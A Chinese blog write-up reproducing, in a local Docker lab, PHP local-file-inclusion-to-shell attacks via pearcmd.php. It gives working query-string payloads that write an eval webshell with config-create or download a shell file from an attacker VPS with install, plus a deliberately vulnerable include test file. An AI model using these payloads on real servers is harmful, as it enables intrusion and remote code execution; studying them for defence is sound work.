利用pearcmd.php本地文件包含(LFI)

利用pearcmd.php本地文件包含(LFI)

一.前言

pearcmd这个东西很久以前就已经复现过了,但是当时没有记录下来。这些天在整理之前比赛的wp的时候突然看见了pear的LFI到getshell,就突然想起来自己应该是利用过了的。但是怎么找也找不到之前的笔记,于是就有了再复现一遍的想法。

二.正文

1.环境的准备

这里的话我使用的是docker来搭建的一个lamp,然后在这个lamp上面进行后续的漏洞复现。至于为什么这么做呢?照P神的话来说就是因为在Docker任意版本的镜像中pear都会被默认安装,这也就省去了我们搭建完lamp还要去安装pear的工作。

我用的镜像文件就是如下图所示的镜像
利用pearcmd.php本地文件包含(LFI)

像正常docker一样拉取镜像,搭建环境就可以了。

然后我们要通过docker exec -it [container id] /bin/bash进入docker命令行中

然后在web主目录下创建两个文件,以供后面的测试使用

内容分别为

<?php
    //test.php
include($_REQUEST['file']);
?>
<?php
    //test2.php
var_dump($_SERVER['argv']);
?>
2.复现

在此之前我们需要确定几件事情:

1.我们要找到pearcmd.php的文件位置。正常情况下在/usr/local/lib/php/pearcmd.php

2.我们要开启register_argc_argv选项,当然了docker的PHP镜像是默认开启的。

当我们开启register_argc_argv选项的时候,$_SERVER[‘argv’]就会生效。

而$_SERVER[‘argv’]有什么用呢,我们来看一下pearcmd.php的获取参数的代码段(这段代码在Getopt里面。

public static function readPHPArgv()
{
    global $argv;
    if (!is_array($argv)) {
        if (!@is_array($_SERVER['argv'])) {
            if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
                $msg = "Could not read cmd args (register_argc_argv=Off?)";
                return PEAR::raiseError("Console_Getopt: " . $msg);
            }
            return $GLOBALS['HTTP_SERVER_VARS']['argv'];
        }
        return $_SERVER['argv'];
    }
    return $argv;
}

也就是说在argv的情况下,pearcmd.php是通过$_SERVER[‘argv’]来获取参数的。那么我们现在就要利用test2.php来看一下$_SERVER[‘argv’]是如何解析参数的。

我们依次传入参数

1a=1&b=1a=1+b=1

利用pearcmd.php本地文件包含(LFI)
利用pearcmd.php本地文件包含(LFI)
利用pearcmd.php本地文件包含(LFI)

从上面的三个例子中我们发现了一些问题:

1.&符无发分割参数,真正能分割参数的是加号

2.等号无法赋值,而是会直接被传进去当作参数。

我们来看一下pear程序的内容

#!/bin/sh                                                                                                                               
# first find which PHP binary to use                                                                                                                                                                               
if test "x$PHP_PEAR_PHP_BIN" != "x"; then                                                                                                                                                                          
  PHP="$PHP_PEAR_PHP_BIN"                                                                                                                                                                                          
else                                                                     
  if test "/usr/local/bin/php" = '@'php_bin'@'; then
    PHP=php
  else
    PHP="/usr/local/bin/php"
  fi
fi

# then look for the right pear include dir
if test "x$PHP_PEAR_INSTALL_DIR" != "x"; then
  INCDIR=$PHP_PEAR_INSTALL_DIR
  INCARG="-d include_path=$PHP_PEAR_INSTALL_DIR"
else
  if test "/usr/local/lib/php" = '@'php_dir'@'; then
    INCDIR=`dirname $0`
    INCARG=""
  else
    INCDIR="/usr/local/lib/php"
    INCARG="-d include_path=/usr/local/lib/php"
  fi
fi

exec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR/pearcmd.php "$@"

pear命令实质上就是调用了pearcmd.php,也就是说我们可以利用pear命令的形式来进行漏洞利用。

我们来看一下pear命令
利用pearcmd.php本地文件包含(LFI)

(1)config-create

我们先来看第一种方法,也就是P神介绍的config-create的方法,payload如下

?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/test.php

(这里是向之前环境准备的test.php传参数)

结果如下图所示,这里用浏览器不成功的,可以用bp发包试试
利用pearcmd.php本地文件包含(LFI)

这时候我们到docker中的命令行里面查看一下

利用pearcmd.php本地文件包含(LFI)
我们已经成功在目标主机上创建了test文件,然后看一下里面的内容。
利用pearcmd.php本地文件包含(LFI)

可以看到不仅我们的一句话木马被写进去了,与此同时我们的file参数也被写进去了。这是符合我们之前分析的结果的因为传给pearcmd的参数是$_SERVER[‘argv’],$_SERVER[‘argv’]会读取所有字符串并以加号进行分割。所以这里的file及其参数自然就被当作参数接纳了。

尽管如此我们还是可以通过蚁剑进行连接的。(这里就不放截图了)

(2)Install

除了上面的方法我们还可以使用install方法,从外面将shell文件下载进来然后进行getshell。

payload如下(源自W4师傅)

?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://[vps]:[port]/test1.php

从上面的分析中,我们不难看出这串payload所下载的文件的保存地址在

&file=/usr/local/lib/php/pearcmd.php\&/tmp/pear/download/路径下面,这里我在使用的时候会遇到一些有关配置方面的问题,因为名为&file=/usr/local/lib/php/pearcmd.php\&的文件夹是新创建的,而我并没有权限对其进行写操作而导致利用失败。

但是,除此之外install命令还有另外一种利用的姿势,payload如下:

file=/usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://192.168.1.9/index.php

结果如下图所示

利用pearcmd.php本地文件包含(LFI)
然后我们去对应的目录下面就能找到我们刚才下载的文件。
利用pearcmd.php本地文件包含(LFI)
这里只下载了一个目标机器上的index文件,事实上这里可以下载目标机器上事先备好的shell文件,然后下载下来进行getshell。

(3)一些疑惑与思考

在我找到第二种利用install命令下载文件的时候,我发现一个问题。$_SERVER[‘argv’]是将所有的参数包含,并用加号进行分割。但是在payloadfile=/usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://192.168.1.9/index.php里面,我们不难看出$_SERVER[‘argv’]的第一个参数应该是file=/usr/local/lib/php/pearcmd.php&,但是从结果的角度来讲这个参数并没有发挥作用,因为一旦这个参数被放到了pearcmd.php的后面,那么pearcmd.php会直接报错
利用pearcmd.php本地文件包含(LFI)
事实上这在之前的几个payload中也有相应的体现,我是在P神博客的评论里面发现的
利用pearcmd.php本地文件包含(LFI)
也就是说在前面的payload中第一个的加号至关重要,我们回到test2.php中来测试一下。

输入上述payload后
利用pearcmd.php本地文件包含(LFI)
我们发现它的第一个参数是“”,也就是空串。这也就印证了第一个参数无法发挥作用的事实,因为当第一个加号被删除之后,第一个参数就是config-create它没有发挥作用所以导致payload无法成功。(当然这里的没有发挥作用指的是没有被放到pearcmd后面当参数)

于是,我陷入了思考,去找了pearcmd.php的源代码发现了一些端倪。
利用pearcmd.php本地文件包含(LFI)

argv的值是函数readPHPArgv所赋予的,也就是之前做贴出的一个参数获取函数。他在后面的处理中直接对argv[1]进行分析,这也就直接导致了位于0位的参数失效的问题。

三.后记

这次复现总的来说比较简单,第二次做这个东西也解决了我第一次所忽略的一些细节。最近在看书,不知道什么时候才能肝完。年后要准备考研了,就不能这样干这些事情了,要专注的去准备考研了。

四.参考文章

W4师傅
P神

上一篇:Python之sys.argv[]


下一篇:【linux】嵌入式应用开发过程:从头文件到main函数